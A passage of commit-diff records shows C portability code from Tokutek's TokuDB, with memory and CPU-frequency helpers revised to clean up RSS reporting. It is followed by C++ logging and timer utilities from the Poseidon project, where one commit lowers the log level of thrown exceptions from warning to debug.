atoi(toku_ncpus);\n if (ncpus < n)\n n = ncpus;\n }\n }\n#endif\n return n;\n}\n\nint\ntoku_os_get_pagesize(void) {\n return sysconf(_SC_PAGESIZE);\n}\n\nuint64_t\ntoku_os_get_phys_memory_size(void) {\n#if defined(_SC_PHYS_PAGES)\n uint64_t npages = sysconf(_SC_PHYS_PAGES);\n uint64_t pagesize = sysconf(_SC_PAGESIZE);\n return npages*pagesize;\n#elif defined(HAVE_SYS_SYSCTL_H)\n uint64_t memsize;\n size_t len = sizeof memsize;\n sysctlbyname(\"hw.memsize\", &memsize, &len, NULL, 0);\n return memsize;\n#else\n# error \"cannot find _SC_PHYS_PAGES or sysctlbyname()\"\n#endif\n}\n\nint\ntoku_os_get_file_size(int fildes, int64_t *fsize) {\n toku_struct_stat sbuf;\n int r = fstat(fildes, &sbuf);\n if (r==0) {\n *fsize = sbuf.st_size;\n }\n return r;\n}\n\nint\ntoku_os_get_unique_file_id(int fildes, struct fileid *id) {\n toku_struct_stat statbuf;\n memset(id, 0, sizeof(*id));\n int r=fstat(fildes, &statbuf);\n if (r==0) {\n id->st_dev = statbuf.st_dev;\n id->st_ino = statbuf.st_ino;\n }\n return r;\n}\n\nint\ntoku_os_lock_file(const char *name) {\n int r;\n int fd = open(name, O_RDWR|O_CREAT, S_IRUSR | S_IWUSR);\n if (fd>=0) {\n r = flock(fd, LOCK_EX | LOCK_NB);\n if (r!=0) {\n r = errno; \/\/Save errno from flock.\n close(fd);\n fd = -1; \/\/Disable fd.\n errno = r;\n }\n }\n return fd;\n}\n\nint\ntoku_os_unlock_file(int fildes) {\n int r = flock(fildes, LOCK_UN);\n if (r==0) r = close(fildes);\n return r;\n}\n\nint\ntoku_os_mkdir(const char *pathname, mode_t mode) {\n int r = mkdir(pathname, mode);\n return r;\n}\n\nint\ntoku_os_get_process_times(struct timeval *usertime, struct timeval *kerneltime) {\n int r;\n struct rusage rusage;\n r = getrusage(RUSAGE_SELF, &rusage);\n if (r == -1)\n return get_error_errno();\n if (usertime) \n *usertime = rusage.ru_utime;\n if (kerneltime)\n *kerneltime = rusage.ru_stime;\n return 0;\n}\n\nint\ntoku_os_initialize_settings(int UU(verbosity)) {\n int r = 0;\n static int initialized = 0;\n assert(initialized==0);\n initialized=1;\n return r;\n}\n\nint\ntoku_os_get_max_rss(int64_t *maxrss) {\n char statusname[100];\n sprintf(statusname, \"\/proc\/%d\/status\", getpid());\n FILE *f = fopen(statusname, \"r\");\n if (f == NULL) {\n#if defined(HAVE_SYS_RESOURCE_H)\n \/\/ try getrusage instead\n struct rusage rusage;\n getrusage(RUSAGE_SELF, &rusage);\n *maxrss = rusage.ru_maxrss * 1024; \/\/ ru_maxrss is in kB\n return 0;\n#else\n return get_error_errno();\n#endif\n }\n int r = ENOENT;\n char line[100];\n while (fgets(line, sizeof line, f)) {\n r = sscanf(line, \"VmHWM:\\t%lld kB\\n\", (long long *) maxrss);\n if (r == 1) { \n *maxrss *= 1<<10;\n r = 0;\n break;\n }\n }\n fclose(f);\n return r;\n}\n\nint\ntoku_os_get_rss(int64_t *rss) {\n char statusname[100];\n sprintf(statusname, \"\/proc\/%d\/status\", getpid());\n FILE *f = fopen(statusname, \"r\");\n if (f == NULL) {\n#if defined(HAVE_SYS_RESOURCE_H)\n \/\/ try getrusage instead\n struct rusage rusage;\n getrusage(RUSAGE_SELF, &rusage);\n *rss = (rusage.ru_idrss + rusage.ru_ixrss + rusage.ru_isrss) * 1024;\n return 0;\n#else\n return get_error_errno();\n#endif\n }\n int r = ENOENT;\n char line[100];\n while (fgets(line, sizeof line, f)) {\n r = sscanf(line, \"VmRSS:\\t%lld kB\\n\", (long long *) rss);\n if (r == 1) {\n *rss *= 1<<10;\n r = 0;\n break;\n }\n }\n fclose(f);\n return r;\n}\n\nbool toku_os_is_absolute_name(const char* path) {\n return path[0] == '\/';\n}\n\nint\ntoku_os_get_max_process_data_size(uint64_t *maxdata) {\n int r;\n struct rlimit rlimit;\n\n r = getrlimit(RLIMIT_DATA, &rlimit);\n if (r == 0) {\n uint64_t d;\n d = rlimit.rlim_max;\n\t\/\/ with the \"right\" macros defined, the rlimit is a 64 bit number on a\n\t\/\/ 32 bit system. getrlimit returns 2**64-1 which is clearly wrong.\n\n \/\/ for 32 bit processes, we assume that 1\/2 of the address space is\n \/\/ used for mapping the kernel. this may be pessimistic.\n if (sizeof (void *) == 4 && d > (1ULL << 31))\n d = 1ULL << 31;\n\t*maxdata = d;\n } else\n r = get_error_errno();\n return r;\n}\n\nint\ntoku_stat(const char *name, toku_struct_stat *buf) {\n int r = stat(name, buf);\n return r;\n}\n\nint\ntoku_fstat(int fd, toku_struct_stat *buf) {\n int r = fstat(fd, buf);\n return r;\n}\n\nstatic int\ntoku_get_processor_frequency_sys(uint64_t *hzret) {\n int r;\n FILE *fp = fopen(\"\/sys\/devices\/system\/cpu\/cpu0\/cpufreq\/cpuinfo_max_freq\", \"r\");\n if (!fp) \n r = get_error_errno();\n else {\n unsigned int khz = 0;\n if (fscanf(fp, \"%u\", &khz) == 1) {\n *hzret = khz * 1000ULL;\n r = 0;\n } else\n r = ENOENT;\n fclose(fp);\n }\n return r;\n}\n\nstatic int\ntoku_get_processor_frequency_cpuinfo(uint64_t *hzret) {\n int r;\n FILE *fp = fopen(\"\/proc\/cpuinfo\", \"r\");\n if (!fp) {\n r = get_error_errno();\n } else {\n uint64_t maxhz = 0;\n char *buf = NULL;\n size_t n = 0;\n while (getline(&buf, &n, fp) >= 0) {\n unsigned int cpu;\n sscanf(buf, \"processor : %u\", &cpu);\n unsigned int ma, mb;\n if (sscanf(buf, \"cpu MHz : %u.%u\", &ma, &mb) == 2) {\n uint64_t hz = ma * 1000000ULL + mb * 1000ULL;\n if (hz > maxhz)\n maxhz = hz;\n }\n }\n if (buf)\n free(buf);\n fclose(fp);\n *hzret = maxhz;\n r = maxhz == 0 ? ENOENT : 0;;\n }\n return r;\n}\n\nstatic int\ntoku_get_processor_frequency_sysctl(const char * const cmd, uint64_t *hzret) {\n int r = 0;\n FILE *fp = popen(cmd, \"r\");\n if (!fp) {\n r = EINVAL; \/\/ popen doesn't return anything useful in errno,\n \/\/ gotta pick something\n goto exit;\n }\n r = fscanf(fp, \"%\" SCNu64, hzret);\n if (r != 1) {\n r = get_maybe_error_errno();\n } else {\n r = 0;\n }\n pclose(fp);\n\nexit:\n return r;\n}\n\nint\ntoku_os_get_processor_frequency(uint64_t *hzret) {\n int r;\n r = toku_get_processor_frequency_sys(hzret);\n if (r != 0)\n r = toku_get_processor_frequency_cpuinfo(hzret);\n if (r != 0)\n r = toku_get_processor_frequency_sysctl(\"sysctl -n hw.cpufrequency\", hzret);\n if (r != 0)\n r = toku_get_processor_frequency_sysctl(\"sysctl -n machdep.tsc_freq\", hzret);\n return r;\n}\n\nint\ntoku_get_filesystem_sizes(const char *path, uint64_t *avail_size, uint64_t *free_size, uint64_t *total_size) {\n struct statvfs s;\n int r = statvfs(path, &s);\n if (r == -1) {\n r = get_error_errno();\n } else {\n \/\/ get the block size in bytes\n uint64_t bsize = s.f_frsize ? s.f_frsize : s.f_bsize;\n \/\/ convert blocks to bytes\n if (avail_size)\n *avail_size = (uint64_t) s.f_bavail * bsize;\n if (free_size) \n *free_size = (uint64_t) s.f_bfree * bsize;\n if (total_size) \n *total_size = (uint64_t) s.f_blocks * bsize;\n }\n return r;\n}\n\n\nint\ntoku_dup2(int fd, int fd2) {\n int r;\n r = dup2(fd, fd2);\n return r;\n}\n\n\n\/\/ Time\nstatic double seconds_per_clock = -1;\n\ndouble tokutime_to_seconds(tokutime_t t) {\n \/\/ Convert tokutime to seconds.\n if (seconds_per_clock<0) {\n\tuint64_t hz;\n\tint r = toku_os_get_processor_frequency(&hz);\n\tassert(r==0);\n\t\/\/ There's a race condition here, but it doesn't really matter. If two threads call tokutime_to_seconds\n\t\/\/ for the first time at the same time, then both will fetch the value and set the same value.\n\tseconds_per_clock = 1.0\/hz;\n }\n return t*seconds_per_clock;\n}\n\n#if __GNUC__ && __i386__\n\n\/\/ workaround for a gcc 4.1.2 bug on 32 bit platforms.\nuint64_t toku_sync_fetch_and_add_uint64(volatile uint64_t *a, uint64_t b) __attribute__((noinline));\n\nuint64_t toku_sync_fetch_and_add_uint64(volatile uint64_t *a, uint64_t b) {\n return __sync_fetch_and_add(a, b);\n}\n\n#endif\n<commit_msg>refs #5368 clean up toku_os_get_*rss<commit_after>\/* -*- mode: C++; c-basic-offset: 4; indent-tabs-mode: nil -*- *\/\n\/\/ vim: ft=cpp:expandtab:ts=8:sw=4:softtabstop=4:\n#ident \"Copyright (c) 2007-2012 Tokutek Inc. All rights reserved.\"\n#ident \"$Id$\"\n\n#include <config.h>\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include <unistd.h>\n#include <string.h>\n#include <fcntl.h>\n#include <errno.h>\n#include <toku_assert.h>\n#if defined(HAVE_MALLOC_H)\n# include <malloc.h>\n#elif defined(HAVE_SYS_MALLOC_H)\n# include <sys\/malloc.h>\n#endif\n#include <sys\/types.h>\n#include <sys\/stat.h>\n#include <sys\/file.h>\n#if defined(HAVE_SYSCALL_H)\n# include <syscall.h>\n#endif\n#if defined(HAVE_SYS_SYSCALL_H)\n# include <sys\/syscall.h>\n#endif\n#if defined(HAVE_SYS_SYSCTL_H)\n# include <sys\/sysctl.h>\n#endif\n#if defined(HAVE_PTHREAD_NP_H)\n# include <pthread_np.h>\n#endif\n#include <inttypes.h>\n#include <sys\/time.h>\n#if defined(HAVE_SYS_RESOURCE_H)\n# include <sys\/resource.h>\n#endif\n#include <sys\/statvfs.h>\n#include \"toku_portability.h\"\n#include \"toku_os.h\"\n#include \"toku_time.h\"\n#include \"memory.h\"\n\nint\ntoku_portability_init(void) {\n int r = toku_memory_startup();\n return r;\n}\n\nvoid\ntoku_portability_destroy(void) {\n toku_memory_shutdown();\n}\n\nint\ntoku_os_getpid(void) {\n return getpid();\n}\n\nint\ntoku_os_gettid(void) {\n#if defined(__NR_gettid)\n return syscall(__NR_gettid);\n#elif defined(SYS_gettid)\n return syscall(SYS_gettid);\n#elif defined(HAVE_PTHREAD_GETTHREADID_NP)\n return pthread_getthreadid_np();\n#else\n# error \"no implementation of gettid available\"\n#endif\n}\n\nint\ntoku_os_get_number_processors(void) {\n return sysconf(_SC_NPROCESSORS_CONF);\n}\n\nint\ntoku_os_get_number_active_processors(void) {\n int n = sysconf(_SC_NPROCESSORS_ONLN);\n#define DO_TOKU_NCPUS 1\n#if DO_TOKU_NCPUS\n {\n char *toku_ncpus = getenv(\"TOKU_NCPUS\");\n if (toku_ncpus) {\n int ncpus = atoi(toku_ncpus);\n if (ncpus < n)\n n = ncpus;\n }\n }\n#endif\n return n;\n}\n\nint\ntoku_os_get_pagesize(void) {\n return sysconf(_SC_PAGESIZE);\n}\n\nuint64_t\ntoku_os_get_phys_memory_size(void) {\n#if defined(_SC_PHYS_PAGES)\n uint64_t npages = sysconf(_SC_PHYS_PAGES);\n uint64_t pagesize = sysconf(_SC_PAGESIZE);\n return npages*pagesize;\n#elif defined(HAVE_SYS_SYSCTL_H)\n uint64_t memsize;\n size_t len = sizeof memsize;\n sysctlbyname(\"hw.memsize\", &memsize, &len, NULL, 0);\n return memsize;\n#else\n# error \"cannot find _SC_PHYS_PAGES or sysctlbyname()\"\n#endif\n}\n\nint\ntoku_os_get_file_size(int fildes, int64_t *fsize) {\n toku_struct_stat sbuf;\n int r = fstat(fildes, &sbuf);\n if (r==0) {\n *fsize = sbuf.st_size;\n }\n return r;\n}\n\nint\ntoku_os_get_unique_file_id(int fildes, struct fileid *id) {\n toku_struct_stat statbuf;\n memset(id, 0, sizeof(*id));\n int r=fstat(fildes, &statbuf);\n if (r==0) {\n id->st_dev = statbuf.st_dev;\n id->st_ino = statbuf.st_ino;\n }\n return r;\n}\n\nint\ntoku_os_lock_file(const char *name) {\n int r;\n int fd = open(name, O_RDWR|O_CREAT, S_IRUSR | S_IWUSR);\n if (fd>=0) {\n r = flock(fd, LOCK_EX | LOCK_NB);\n if (r!=0) {\n r = errno; \/\/Save errno from flock.\n close(fd);\n fd = -1; \/\/Disable fd.\n errno = r;\n }\n }\n return fd;\n}\n\nint\ntoku_os_unlock_file(int fildes) {\n int r = flock(fildes, LOCK_UN);\n if (r==0) r = close(fildes);\n return r;\n}\n\nint\ntoku_os_mkdir(const char *pathname, mode_t mode) {\n int r = mkdir(pathname, mode);\n return r;\n}\n\nint\ntoku_os_get_process_times(struct timeval *usertime, struct timeval *kerneltime) {\n int r;\n struct rusage rusage;\n r = getrusage(RUSAGE_SELF, &rusage);\n if (r == -1)\n return get_error_errno();\n if (usertime) \n *usertime = rusage.ru_utime;\n if (kerneltime)\n *kerneltime = rusage.ru_stime;\n return 0;\n}\n\nint\ntoku_os_initialize_settings(int UU(verbosity)) {\n int r = 0;\n static int initialized = 0;\n assert(initialized==0);\n initialized=1;\n return r;\n}\n\nint\ntoku_os_get_max_rss(int64_t *maxrss) {\n int r;\n char statusname[100];\n sprintf(statusname, \"\/proc\/%d\/status\", getpid());\n FILE *f = fopen(statusname, \"r\");\n if (f == NULL) {\n struct rusage rusage;\n r = getrusage(RUSAGE_SELF, &rusage);\n if (r != 0) {\n return get_error_errno();\n }\n *maxrss = rusage.ru_maxrss * 1024; \/\/ ru_maxrss is in kB\n return 0;\n }\n r = ENOENT;\n char line[100];\n while (fgets(line, sizeof line, f)) {\n r = sscanf(line, \"VmHWM:\\t%lld kB\\n\", (long long *) maxrss);\n if (r == 1) { \n *maxrss *= 1<<10;\n r = 0;\n break;\n }\n }\n fclose(f);\n return r;\n}\n\nint\ntoku_os_get_rss(int64_t *rss) {\n int r;\n char statusname[100];\n sprintf(statusname, \"\/proc\/%d\/status\", getpid());\n FILE *f = fopen(statusname, \"r\");\n if (f == NULL) {\n struct rusage rusage;\n r = getrusage(RUSAGE_SELF, &rusage);\n if (r != 0) {\n return get_error_errno();\n }\n *rss = (rusage.ru_idrss + rusage.ru_ixrss + rusage.ru_isrss) * 1024;\n return 0;\n }\n r = ENOENT;\n char line[100];\n while (fgets(line, sizeof line, f)) {\n r = sscanf(line, \"VmRSS:\\t%lld kB\\n\", (long long *) rss);\n if (r == 1) {\n *rss *= 1<<10;\n r = 0;\n break;\n }\n }\n fclose(f);\n return r;\n}\n\nbool toku_os_is_absolute_name(const char* path) {\n return path[0] == '\/';\n}\n\nint\ntoku_os_get_max_process_data_size(uint64_t *maxdata) {\n int r;\n struct rlimit rlimit;\n\n r = getrlimit(RLIMIT_DATA, &rlimit);\n if (r == 0) {\n uint64_t d;\n d = rlimit.rlim_max;\n\t\/\/ with the \"right\" macros defined, the rlimit is a 64 bit number on a\n\t\/\/ 32 bit system. getrlimit returns 2**64-1 which is clearly wrong.\n\n \/\/ for 32 bit processes, we assume that 1\/2 of the address space is\n \/\/ used for mapping the kernel. this may be pessimistic.\n if (sizeof (void *) == 4 && d > (1ULL << 31))\n d = 1ULL << 31;\n\t*maxdata = d;\n } else\n r = get_error_errno();\n return r;\n}\n\nint\ntoku_stat(const char *name, toku_struct_stat *buf) {\n int r = stat(name, buf);\n return r;\n}\n\nint\ntoku_fstat(int fd, toku_struct_stat *buf) {\n int r = fstat(fd, buf);\n return r;\n}\n\nstatic int\ntoku_get_processor_frequency_sys(uint64_t *hzret) {\n int r;\n FILE *fp = fopen(\"\/sys\/devices\/system\/cpu\/cpu0\/cpufreq\/cpuinfo_max_freq\", \"r\");\n if (!fp) \n r = get_error_errno();\n else {\n unsigned int khz = 0;\n if (fscanf(fp, \"%u\", &khz) == 1) {\n *hzret = khz * 1000ULL;\n r = 0;\n } else\n r = ENOENT;\n fclose(fp);\n }\n return r;\n}\n\nstatic int\ntoku_get_processor_frequency_cpuinfo(uint64_t *hzret) {\n int r;\n FILE *fp = fopen(\"\/proc\/cpuinfo\", \"r\");\n if (!fp) {\n r = get_error_errno();\n } else {\n uint64_t maxhz = 0;\n char *buf = NULL;\n size_t n = 0;\n while (getline(&buf, &n, fp) >= 0) {\n unsigned int cpu;\n sscanf(buf, \"processor : %u\", &cpu);\n unsigned int ma, mb;\n if (sscanf(buf, \"cpu MHz : %u.%u\", &ma, &mb) == 2) {\n uint64_t hz = ma * 1000000ULL + mb * 1000ULL;\n if (hz > maxhz)\n maxhz = hz;\n }\n }\n if (buf)\n free(buf);\n fclose(fp);\n *hzret = maxhz;\n r = maxhz == 0 ? ENOENT : 0;;\n }\n return r;\n}\n\nstatic int\ntoku_get_processor_frequency_sysctl(const char * const cmd, uint64_t *hzret) {\n int r = 0;\n FILE *fp = popen(cmd, \"r\");\n if (!fp) {\n r = EINVAL; \/\/ popen doesn't return anything useful in errno,\n \/\/ gotta pick something\n goto exit;\n }\n r = fscanf(fp, \"%\" SCNu64, hzret);\n if (r != 1) {\n r = get_maybe_error_errno();\n } else {\n r = 0;\n }\n pclose(fp);\n\nexit:\n return r;\n}\n\nint\ntoku_os_get_processor_frequency(uint64_t *hzret) {\n int r;\n r = toku_get_processor_frequency_sys(hzret);\n if (r != 0)\n r = toku_get_processor_frequency_cpuinfo(hzret);\n if (r != 0)\n r = toku_get_processor_frequency_sysctl(\"sysctl -n hw.cpufrequency\", hzret);\n if (r != 0)\n r = toku_get_processor_frequency_sysctl(\"sysctl -n machdep.tsc_freq\", hzret);\n return r;\n}\n\nint\ntoku_get_filesystem_sizes(const char *path, uint64_t *avail_size, uint64_t *free_size, uint64_t *total_size) {\n struct statvfs s;\n int r = statvfs(path, &s);\n if (r == -1) {\n r = get_error_errno();\n } else {\n \/\/ get the block size in bytes\n uint64_t bsize = s.f_frsize ? s.f_frsize : s.f_bsize;\n \/\/ convert blocks to bytes\n if (avail_size)\n *avail_size = (uint64_t) s.f_bavail * bsize;\n if (free_size) \n *free_size = (uint64_t) s.f_bfree * bsize;\n if (total_size) \n *total_size = (uint64_t) s.f_blocks * bsize;\n }\n return r;\n}\n\n\nint\ntoku_dup2(int fd, int fd2) {\n int r;\n r = dup2(fd, fd2);\n return r;\n}\n\n\n\/\/ Time\nstatic double seconds_per_clock = -1;\n\ndouble tokutime_to_seconds(tokutime_t t) {\n \/\/ Convert tokutime to seconds.\n if (seconds_per_clock<0) {\n\tuint64_t hz;\n\tint r = toku_os_get_processor_frequency(&hz);\n\tassert(r==0);\n\t\/\/ There's a race condition here, but it doesn't really matter. If two threads call tokutime_to_seconds\n\t\/\/ for the first time at the same time, then both will fetch the value and set the same value.\n\tseconds_per_clock = 1.0\/hz;\n }\n return t*seconds_per_clock;\n}\n\n#if __GNUC__ && __i386__\n\n\/\/ workaround for a gcc 4.1.2 bug on 32 bit platforms.\nuint64_t toku_sync_fetch_and_add_uint64(volatile uint64_t *a, uint64_t b) __attribute__((noinline));\n\nuint64_t toku_sync_fetch_and_add_uint64(volatile uint64_t *a, uint64_t b) {\n return __sync_fetch_and_add(a, b);\n}\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/\/ This file is part of Poseidon.\n\/\/ Copyleft 2020, LH_Mouse. All wrongs reserved.\n\n#ifndef POSEIDON_UTILITIES_HPP_\n#define POSEIDON_UTILITIES_HPP_\n\n#include \"fwd.hpp\"\n#include \"static\/async_logger.hpp\"\n#include \"core\/abstract_timer.hpp\"\n#include \"static\/timer_driver.hpp\"\n#include <asteria\/utilities.hpp>\n#include <cstdio>\n\nnamespace poseidon {\n\nusing ::asteria::utf8_encode;\nusing ::asteria::utf8_decode;\nusing ::asteria::utf16_encode;\nusing ::asteria::utf16_decode;\n\nusing ::asteria::format_string;\nusing ::asteria::weaken_enum;\nusing ::asteria::generate_random_seed;\nusing ::asteria::format_errno;\n\ntemplate<typename... ParamsT>\nROCKET_NOINLINE\nbool\ndo_xlog_format(Log_Level level, const char* file, long line, const char* func,\n const char* templ, const ParamsT&... params)\nnoexcept\n try {\n \/\/ Compose the message.\n ::rocket::tinyfmt_str fmt;\n format(fmt, templ, params...); \/\/ ADL intended\n auto text = fmt.extract_string();\n\n \/\/ Push a new log entry.\n Async_Logger::write(level, file, line, func, ::std::move(text));\n return true;\n }\n catch(exception& stdex) {\n \/\/ Ignore this exception, but print a message.\n ::std::fprintf(stderr,\n \"WARNING: %s: could not format log: %s\\n[exception `%s` thrown from '%s:%ld'\\n\",\n func, stdex.what(), typeid(stdex).name(), file, line);\n return false;\n }\n\n\/\/ Note the format string must be a string literal.\n#define POSEIDON_XLOG_(level, ...) \\\n (::poseidon::Async_Logger::is_enabled(level) && \\\n ::poseidon::do_xlog_format(level, __FILE__, __LINE__, __func__, \\\n \"\" __VA_ARGS__))\n\n#define POSEIDON_LOG_FATAL(...) POSEIDON_XLOG_(::poseidon::log_level_fatal, __VA_ARGS__)\n#define POSEIDON_LOG_ERROR(...) POSEIDON_XLOG_(::poseidon::log_level_error, __VA_ARGS__)\n#define POSEIDON_LOG_WARN(...) POSEIDON_XLOG_(::poseidon::log_level_warn, __VA_ARGS__)\n#define POSEIDON_LOG_INFO(...) POSEIDON_XLOG_(::poseidon::log_level_info, __VA_ARGS__)\n#define POSEIDON_LOG_DEBUG(...) POSEIDON_XLOG_(::poseidon::log_level_debug, __VA_ARGS__)\n#define POSEIDON_LOG_TRACE(...) POSEIDON_XLOG_(::poseidon::log_level_trace, __VA_ARGS__)\n\ntemplate<typename... ParamsT>\n[[noreturn]] ROCKET_NOINLINE\nbool\ndo_xthrow_format(const char* file, long line, const char* func,\n const char* templ, const ParamsT&... params)\n {\n \/\/ Compose the message.\n ::rocket::tinyfmt_str fmt;\n format(fmt, templ, params...); \/\/ ADL intended\n auto text = fmt.extract_string();\n\n \/\/ Push a new log entry.\n if(Async_Logger::is_enabled(log_level_warn))\n Async_Logger::write(log_level_warn, file, line, func, text);\n\n \/\/ Throw the exception.\n ::rocket::sprintf_and_throw<::std::runtime_error>(\n \"%s: %s\\n[thrown from '%s:%ld']\",\n func, text.c_str(), file, line);\n }\n\n#define POSEIDON_THROW(...) \\\n (::poseidon::do_xthrow_format(__FILE__, __LINE__, __func__, \\\n \"\" __VA_ARGS__))\n\n\/\/ Creates an asynchronous timer. The timer function will be called by\n\/\/ the timer thread, so thread safety must be taken into account.\ntemplate<typename FuncT>\nrcptr<Abstract_Timer>\ncreate_async_timer(int64_t next, int64_t period, FuncT&& func)\n {\n \/\/ This is the concrete timer class.\n struct Concrete_Timer : Abstract_Timer\n {\n typename ::std::decay<FuncT>::type m_func;\n\n Concrete_Timer(int64_t next, int64_t period, FuncT&& func)\n : Abstract_Timer(next, period),\n m_func(::std::forward<FuncT>(func))\n { }\n\n void\n do_on_async_timer(int64_t now)\n override\n { this->m_func(now); }\n };\n\n \/\/ Allocate an abstract timer and insert it.\n auto timer = ::rocket::make_unique<Concrete_Timer>(next, period,\n ::std::forward<FuncT>(func));\n return Timer_Driver::insert(::std::move(timer));\n }\n\n\/\/ Creates a one-shot timer. The timer is deleted after being triggered.\ntemplate<typename FuncT>\nrcptr<Abstract_Timer>\ncreate_async_timer_oneshot(int64_t next, FuncT&& func)\n {\n return noadl::create_async_timer(next, 0, ::std::forward<FuncT>(func));\n }\n\n\/\/ Creates a periodic timer.\ntemplate<typename FuncT>\nrcptr<Abstract_Timer>\ncreate_async_timer_periodic(int64_t period, FuncT&& func)\n {\n return noadl::create_async_timer(period, period, ::std::forward<FuncT>(func));\n }\n\n} \/\/ namespace asteria\n\n#endif\n<commit_msg>utilities: Change log level of exceptions from WARN to DEBUG<commit_after>\/\/ This file is part of Poseidon.\n\/\/ Copyleft 2020, LH_Mouse. All wrongs reserved.\n\n#ifndef POSEIDON_UTILITIES_HPP_\n#define POSEIDON_UTILITIES_HPP_\n\n#include \"fwd.hpp\"\n#include \"static\/async_logger.hpp\"\n#include \"core\/abstract_timer.hpp\"\n#include \"static\/timer_driver.hpp\"\n#include <asteria\/utilities.hpp>\n#include <cstdio>\n\nnamespace poseidon {\n\nusing ::asteria::utf8_encode;\nusing ::asteria::utf8_decode;\nusing ::asteria::utf16_encode;\nusing ::asteria::utf16_decode;\n\nusing ::asteria::format_string;\nusing ::asteria::weaken_enum;\nusing ::asteria::generate_random_seed;\nusing ::asteria::format_errno;\n\ntemplate<typename... ParamsT>\nROCKET_NOINLINE\nbool\ndo_xlog_format(Log_Level level, const char* file, long line, const char* func,\n const char* templ, const ParamsT&... params)\nnoexcept\n try {\n \/\/ Compose the message.\n ::rocket::tinyfmt_str fmt;\n format(fmt, templ, params...); \/\/ ADL intended\n auto text = fmt.extract_string();\n\n \/\/ Push a new log entry.\n Async_Logger::write(level, file, line, func, ::std::move(text));\n return true;\n }\n catch(exception& stdex) {\n \/\/ Ignore this exception, but print a message.\n ::std::fprintf(stderr,\n \"WARNING: %s: could not format log: %s\\n[exception `%s` thrown from '%s:%ld'\\n\",\n func, stdex.what(), typeid(stdex).name(), file, line);\n return false;\n }\n\n\/\/ Note the format string must be a string literal.\n#define POSEIDON_XLOG_(level, ...) \\\n (::poseidon::Async_Logger::is_enabled(level) && \\\n ::poseidon::do_xlog_format(level, __FILE__, __LINE__, __func__, \\\n \"\" __VA_ARGS__))\n\n#define POSEIDON_LOG_FATAL(...) POSEIDON_XLOG_(::poseidon::log_level_fatal, __VA_ARGS__)\n#define POSEIDON_LOG_ERROR(...) POSEIDON_XLOG_(::poseidon::log_level_error, __VA_ARGS__)\n#define POSEIDON_LOG_WARN(...) POSEIDON_XLOG_(::poseidon::log_level_warn, __VA_ARGS__)\n#define POSEIDON_LOG_INFO(...) POSEIDON_XLOG_(::poseidon::log_level_info, __VA_ARGS__)\n#define POSEIDON_LOG_DEBUG(...) POSEIDON_XLOG_(::poseidon::log_level_debug, __VA_ARGS__)\n#define POSEIDON_LOG_TRACE(...) POSEIDON_XLOG_(::poseidon::log_level_trace, __VA_ARGS__)\n\ntemplate<typename... ParamsT>\n[[noreturn]] ROCKET_NOINLINE\nbool\ndo_xthrow_format(const char* file, long line, const char* func,\n const char* templ, const ParamsT&... params)\n {\n \/\/ Compose the message.\n ::rocket::tinyfmt_str fmt;\n format(fmt, templ, params...); \/\/ ADL intended\n auto text = fmt.extract_string();\n\n \/\/ Push a new log entry.\n if(Async_Logger::is_enabled(log_level_debug))\n Async_Logger::write(log_level_debug, file, line, func, text);\n\n \/\/ Throw the exception.\n ::rocket::sprintf_and_throw<::std::runtime_error>(\n \"%s: %s\\n[thrown from '%s:%ld']\",\n func, text.c_str(), file, line);\n }\n\n#define POSEIDON_THROW(...) \\\n (::poseidon::do_xthrow_format(__FILE__, __LINE__, __func__, \\\n \"\" __VA_ARGS__))\n\n\/\/ Creates an asynchronous timer. The timer function will be called by\n\/\/ the timer thread, so thread safety must be taken into account.\ntemplate<typename FuncT>\nrcptr<Abstract_Timer>\ncreate_async_timer(int64_t next, int64_t period, FuncT&& func)\n {\n \/\/ This is the concrete timer class.\n struct Concrete_Timer : Abstract_Timer\n {\n typename ::std::decay<FuncT>::type m_func;\n\n Concrete_Timer(int64_t next, int64_t period, FuncT&& func)\n : Abstract_Timer(next, period),\n m_func(::std::forward<FuncT>(func))\n { }\n\n void\n do_on_async_timer(int64_t now)\n override\n { this->m_func(now); }\n };\n\n \/\/ Allocate an abstract timer and insert it.\n auto timer = ::rocket::make_unique<Concrete_Timer>(next, period,\n ::std::forward<FuncT>(func));\n return Timer_Driver::insert(::std::move(timer));\n }\n\n\/\/ Creates a one-shot timer. The timer is deleted after being triggered.\ntemplate<typename FuncT>\nrcptr<Abstract_Timer>\ncreate_async_timer_oneshot(int64_t next, FuncT&& func)\n {\n return noadl::create_async_timer(next, 0, ::std::forward<FuncT>(func));\n }\n\n\/\/ Creates a periodic timer.\ntemplate<typename FuncT>\nrcptr<Abstract_Timer>\ncreate_async_timer_periodic(int64_t period, FuncT&& func)\n {\n return noadl::create_async_timer(period, period, ::std::forward<FuncT>(func));\n }\n\n} \/\/ namespace asteria\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/\/ This file is part of Poseidon.\n\/\/ Copyleft 2020, LH_Mouse. All wrongs reserved.\n\n#ifndef POSEIDON_UTILITIES_HPP_\n#define POSEIDON_UTILITIES_HPP_\n\n#include \"fwd.hpp\"\n#include \"static\/async_logger.hpp\"\n#include \"core\/abstract_timer.hpp\"\n#include \"static\/timer_driver.hpp\"\n#include \"core\/abstract_async_job.hpp\"\n#include \"core\/promise.hpp\"\n#include \"core\/future.hpp\"\n#include \"static\/worker_pool.hpp\"\n#include <asteria\/utilities.hpp>\n#include <cstdio>\n\nnamespace poseidon {\n\nusing ::asteria::utf8_encode;\nusing ::asteria::utf8_decode;\nusing ::asteria::utf16_encode;\nusing ::asteria::utf16_decode;\n\nusing ::asteria::format_string;\nusing ::asteria::weaken_enum;\nusing ::asteria::generate_random_seed;\nusing ::asteria::format_errno;\n\ntemplate<typename... ParamsT>\nROCKET_NOINLINE\nbool\ndo_xlog_format(Log_Level level, const char* file, long line, const char* func,\n const char* templ, const ParamsT&... params)\nnoexcept\n try {\n \/\/ Compose the message.\n ::rocket::tinyfmt_str fmt;\n format(fmt, templ, params...); \/\/ ADL intended\n auto text = fmt.extract_string();\n\n \/\/ Push a new log entry.\n Async_Logger::enqueue(level, file, line, func, ::std::move(text));\n return true;\n }\n catch(exception& stdex) {\n \/\/ Ignore this exception, but print a message.\n ::std::fprintf(stderr,\n \"WARNING: %s: could not format log: %s\\n[exception `%s` thrown from '%s:%ld'\\n\",\n func, stdex.what(), typeid(stdex).name(), file, line);\n return false;\n }\n\n\/\/ Note the format string must be a string literal.\n#define POSEIDON_XLOG_(level, ...) \\\n (::poseidon::Async_Logger::is_enabled(level) && \\\n ::poseidon::do_xlog_format(level, __FILE__, __LINE__, __func__, \\\n \"\" 